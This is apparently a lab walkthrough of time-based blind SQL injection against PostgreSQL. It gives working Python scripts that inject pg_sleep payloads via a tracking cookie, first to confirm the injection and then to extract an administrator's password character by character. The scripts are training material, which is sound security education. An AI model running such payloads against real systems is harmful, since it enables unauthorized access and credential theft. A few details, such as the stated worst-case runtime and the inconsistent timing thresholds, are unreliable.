| CASE WHEN (1=1) THEN... | Note the payload uses CASE WHEN (1=1) with the character condition in the WHERE clause. This means: "always try to divide by zero, but only if the WHERE clause matches" — the WHERE clause filters to the row where both username is administrator AND the current character matches. |
CASE WHEN ... THEN [error] ELSE [safe] END pattern is powerful and portable — the error trigger varies by database (TO_CHAR(1/0) for Oracle, 1/0 for PostgreSQL, CONVERT(int, 'a') for MSSQL) but the logical structure is the same.Blind SQLi — Triggering Time Delays
pg_sleep()Time-based blind SQLi: a different oracle
When an application returns identical responses for true and false conditions and suppresses all database errors (showing a generic error page or silently failing), both boolean-based and error-based techniques fail. Time-based blind SQLi introduces a third oracle: response time.
By injecting a conditional sleep function, you force the database to pause for a known duration when a condition is true. If the HTTP response arrives 10 seconds later, the condition was true. If it arrives immediately, it was false. The injected query doesn't need to return data or produce an error — just delay.
→ response delayed 10 seconds = injection confirmed
This lab is just a confirmation step — you're verifying the injection point is viable before attempting full extraction in Lab 14. The pg_sleep(10) is PostgreSQL-specific. MSSQL uses WAITFOR DELAY '0:0:10', MySQL uses SLEEP(10), and Oracle uses dbms_pipe.receive_message('a',10).
There's a typo in the original proxies dict: 'http': 'http:127.0.0.1:8080' — missing the //. Fix to 'http://127.0.0.1:8080'. There's also a pring() typo in the usage message — should be print(). Neither crashes the core function but the proxy won't route correctly without the fix.
The script
import sys
import requests
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} # fixed
def blind_sqli_check(url):
sqli_payload = "' || (SELECT pg_sleep(10))--"
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
cookies = {'TrackingId': 'fY3mWGvtddfW37rS' + sqli_payload_encoded, 'session': '3tjAqEsmAUv1oSufDDKMp8Dpr9LKqwcd'}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
if int(r.elapsed.total_seconds()) > 10:
print("(+) Vulnerable to blind-based SQL injection")
else:
print("(-) Not vulnerable to blind based SQL injection")
def main():
if len(sys.argv) != 2:
print("(+) Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Checking if tracking cookie is vulnerable to time-based blind SQLi...")
blind_sqli_check(url)
if __name__ == "__main__":
main()python sqli-lab-13.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| pg_sleep(10) | PostgreSQL function that suspends execution for 10 seconds. The || concatenation appends the sleep call to the tracking cookie's string context — PostgreSQL evaluates the entire expression including the subquery. The sleep happens before the response is sent. |
| r.elapsed.total_seconds() | The requests library tracks how long each request takes via response.elapsed. total_seconds() converts the timedelta to a float. If the sleep fired, this will be 10+ seconds; if not, it's typically under 1 second. |
| threshold > 10 | The condition is slightly lenient — we expect exactly 10 seconds, but network jitter and processing overhead might push it to 10.2 seconds. A threshold of 9 is safe without false positives in normal conditions. |
Blind SQLi — Time-Delay Password Extraction
pg_sleep() to extract the administrator password one character at a time via response timingCombining conditional logic with sleep
Lab 13 was just a proof-of-concept for the sleep technique. Lab 14 combines it with character extraction: the sleep only fires when the current character guess is correct. You iterate over each character position and every printable ASCII value, measure the response time for each guess — a 10-second delay means a hit, an instant response means a miss.
The payload uses PostgreSQL's CASE WHEN ... THEN pg_sleep(10) ELSE pg_sleep(-1) END. The pg_sleep(-1) for the false branch is intentional — it forces an immediate return (negative values are treated as 0) rather than relying on the CASE simply not sleeping.
→ 10s delay = first char is 'a' (ASCII 97)
→ instant response = not a match, try next ASCII value
This produces up to 1880 requests in the worst case (20 chars × 94 ASCII values). In practice it's faster because you break on the first match per position — and common password characters appear earlier in the ASCII range.
Network latency jitter can cause false positives or missed detections if the server is slow or the connection is unstable. For more reliable extraction, use a threshold slightly below the sleep value (e.g., threshold of 9 for a 10-second sleep). If you're behind a high-latency connection, increase the sleep duration to 15 or 20 seconds.
The script
import sys
import requests
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def sqli_password(url):
password_extracted = ""
for i in range(1, 21):
for j in range(32, 126):
sql_payload = "' || (select case when (username='administrator' and ascii(substring(password,%s,1))='%s') then pg_sleep(10) else pg_sleep(-1) end from users)--" % (i, j)
sql_payload_encoded = urllib.parse.quote(sql_payload)
cookies = {'TrackingId': '4kvqBxnpvcbcGVXk' + sql_payload_encoded, 'session': 'EI9T2L5PowgzjIUPcILvNp7IoJPvjvPN'}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
if int(r.elapsed.total_seconds()) > 9:
password_extracted += chr(j)
sys.stdout.write('\r' + password_extracted)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + password_extracted + chr(j))
sys.stdout.flush()
def main():
if len(sys.argv) != 2:
print("(+) Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Retrieving administrator password...")
sqli_password(url)
if __name__ == "__main__":
main()python sqli-lab-14.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(-1) | When the character guess is correct: sleep 10 seconds. When wrong: sleep -1 (effectively 0, instant). This is more explicit than the ELSE branch doing nothing — it ensures a clean binary timing signal with no ambiguity about whether the false branch might also delay. |
| Both conditions in WHEN clause | username='administrator' AND ascii(substring(password,i,1))='j' — the username filter ensures we're reading from the right row. Without it, if multiple users exist with different passwords, the CASE might fire on any of them and produce garbage. |
| elapsed.total_seconds() > 9 | Threshold set to 9 (not 10) to account for minor network overhead. In practice, a genuine 10-second sleep will consistently show as 10.0–10.5s. The 1-second margin is enough to distinguish from normal fast responses (typically <1s). |
| Performance characteristics | Worst case: 20 positions × 94 ASCII values × 10 seconds = ~5.2 hours. In practice passwords use lowercase alphanumeric chars — the inner loop hits the correct character on average halfway through its range, and the sleep only fires on matches. Realistic runtime is 20–40 minutes for a 20-char password. |
Series Recap — Labs 1–14
Fourteen labs in, we've covered the full arc from trivial filter bypass to the most robust blind extraction technique. Here's the complete mental model in one view:
Single quote escapes string context. OR 1=1-- bypasses filters. administrator'-- bypasses auth. CSRF tokens don't help.
ORDER BY probing for column count. NULL substitution to find the string-typed column. The required groundwork before any UNION exfil.
Directly pull username, password FROM users. When only one string column is available, concatenate with || and split on a separator.
Oracle uses v$version and needs FROM dual. MySQL/MSSQL use @@version. Know your DB type before writing payloads.
information_schema for non-Oracle. all_tables / all_tab_columns for Oracle. Tables → columns → data.
Boolean (response text), error-based (HTTP 500), time-based (pg_sleep). Each works when the previous one fails. Time is the last resort but always works.
The next lab moves into out-of-band SQLi — exfiltrating data via DNS lookups rather than HTTP responses or timing. Requires xxe_sleep-style payloads and a collaborator listener, representing a different class of exfiltration entirely.